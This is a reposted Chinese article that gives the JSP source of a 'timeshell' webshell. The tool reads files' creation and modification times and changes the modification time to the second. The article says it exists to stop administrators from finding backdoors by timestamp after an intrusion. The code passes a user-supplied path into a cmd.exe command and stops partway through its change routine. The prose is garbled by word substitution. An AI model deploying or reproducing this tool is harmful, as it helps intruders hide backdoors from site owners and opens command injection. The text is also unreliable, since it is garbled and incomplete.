JSP_改正文件时间的WEBSHELL[网络技术]
本文“JSP_改正文件时间的WEBSHELL[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
很多网站的管理员通过查看文件的改正时间定位被入侵后流下的网马与后门,因此改正文件的成立与改正时间可以有效的预防后门的泄露.
昨天研究了下,JSP只供应了改正“文件改正时间”的接口,却没有供应改正“文件成立时间”的接口,因此貌似只能改正“文件改正时间 ”,kj021320的JSP SHELL有这个功效,不过只能改正年代日,并且昨晚我碰到的RESIN 2.1.9 运行不了kj021320的那个SHELL,于是决意自己写个小的shell!
主要功效:
1.文件的时间属性查看,包含改正时间与成立时间;
2.文件改正时间的改正,切确到秒;
代码以下:
(Apache Tomcat/6.0.18下运行通过!)
复制代码代码以下:
<%@ page import="java.io.*" %>
<%@ page import="java.util.*, java.text.*" %>
<%@ page language="java" import="java.util.Enumeration" contentType="text/html; charset=GB2312"%>
<html>
<head>
<title>JSP timeshell by oldjun</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"></head>
<body>
<H1>JSP timeshell by oldjun</H1>
<%!
public static String getFileCreateDate(File _file) {
File file = _file;
try {
Process ls_proc = Runtime.getRuntime().exec("cmd.exe /c dir \"" + file.getAbsolutePath() + "\" /tc");
BufferedReader br = new BufferedReader(new InputStreamReader(ls_proc.getInputStream()));
for (int i = 0; i < 5; i++) {
br.readLine();
}
String stuff = br.readLine();
StringTokenizer st = new StringTokenizer(stuff);
String dateC = st.nextToken();
String time = st.nextToken();
String datetime = dateC.concat(" "+time);
br.close();
return datetime;
} catch (Exception e) {
return null;
}
}
String folderReplace(String folder){
return folder.replace('\\','/');
}
%>
<%
String action = null;
if (request.getParameter("action") == null)
action = "main";
else
action = (String)request.getParameter("action");
if (action.equals("main")) {
%>
<form name= form1 method="post" action="?action=getinfo">
filepath:<input name="file" type="text" size="100" />
(for instance C:/Program Files/Apache Software Foundation/Tomcat 6.0/webapps/ROOT/time.jsp)
<input type="submit" name="Button" value="getinfo"/>
</form>
<%
}else if (action.equals("getinfo")) {
String filepath = folderReplace(request.getParameter("file"));
File file = new File(filepath);
if(!file.exists()){
out.println("<script lanugage=\"javascript\">alert(\"file:"+filepath+" not find!\");history.back();</script>");
}
%>
filepath:
<%=filepath%>
lastModifiedtime:
<%=new Date(file.lastModified())%>
Createtime:
<%
String Createtime=getFileCreateDate(file);
out.println(Createtime);
%>
now:
<%
Date myDate = new Date();
out.println(myDate.toLocaleString());
%>
<form name= form2 method="post" action="?action=change">
<input name="year" type="text" size="10"/>year
<input name="month" type="text" size="10"/>month
<input name="day" type="text" size="10"/>day
<input name="hour" type="text" size="10"/>hour
<input name="min" type="text" size="10"/>minute
<input name="sec" type="text" size="10"/>second
<input name="file" type="hidden" value="<%=filepath%>" />
<input type="submit" name="Button" value="change"/>
</form>
<%
}else if (action.equals("change")) {
String url="?action=main";
String filepath = folderReplace(request.getParameter("file"));
String year = request.getParameter("year");
String month = request.getParameter("month");
String day = request.getParameter("day");
String hour = request.getParameter("hour");
String min = request.getParameter("min");
以上是“JSP_改正文件时间的WEBSHELL[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |